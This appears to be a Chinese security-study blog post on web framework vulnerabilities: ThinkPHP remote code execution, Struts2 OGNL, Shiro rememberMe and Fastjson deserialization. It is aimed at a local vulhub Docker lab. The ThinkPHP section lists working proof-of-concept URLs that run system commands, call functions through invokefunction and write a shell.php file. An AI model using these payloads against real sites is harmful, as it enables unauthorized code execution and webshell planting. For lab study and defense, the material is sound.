Web应用安全

Web应用安全Thinkphp Stuts2与Shiro

Thinkphp远程代码执行

dokcer漏洞环境

docker-compose
  https://github. com/vu1hub/vu1hub/tree/master/ thinkphp

漏洞介绍

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞

影响版本:
ThinkPHP = 2.1
ThinkPHP < 5.0.23
ThinkPHP < 5.1.31

修复版本:
ThinkPHP 5.0.23
ThinkPHP 5.1.31

直接调用内置函数执行命令:
POC1:http://127.0.0.1:81/?s=index/\think\Request/ input&filter=phpinfo&data=1
POC2:
http://127.0.0.1:81/ ?s=index/\think\Request/input&filter=system&data=id
POC3:
http://127.0.0.1:81/?s=index/\think/\template\driver\file/write&cacheFile-shell.php&content=%3C?php%20phpinfo(); ?%3E

回调函数执行命令:
POC1:
http://127.0.0.1:81/?s=index/\think \app/ invokefunction&function=call_user_func_ array&vars [0]=phpinfo&vars[1][]=1
POC2:
http://127.0.0.1:81/ ?s=index/\think \Container/ invokefunction&function=call_user_func_array&vars [0]=phpinfo&vars[1] [ ]=1

这里和前一步骤使用多种内置函数。例如:copy、file_get_contents、file_put_contents等

Stuts2代码执行

漏洞概述

Apache Struts 2是一个用于开发Java EE网络应用程序开放源代码网页应用程序架构。Struts框架使用OGNL作为默认的表达式语言。在其代码中,由于函数逻辑把控不严谨,导致代码执行漏洞的产生(CVE-2019-0230)

Shiro反序列化漏洞

漏洞介绍

Apache Shiro是一款开源安全框架, 提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中(大于该版本也可能会有这个问题) ,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

发现网站记住密码的功能,登录抓包在返回包中发现了rememberMe的shiro特征字段

Faastjson远程代码执行漏洞

漏洞简介

Fastjson是阿里巴巴公司开源的一款json解析器, 其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了 反序列化白名单,而在1 .2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值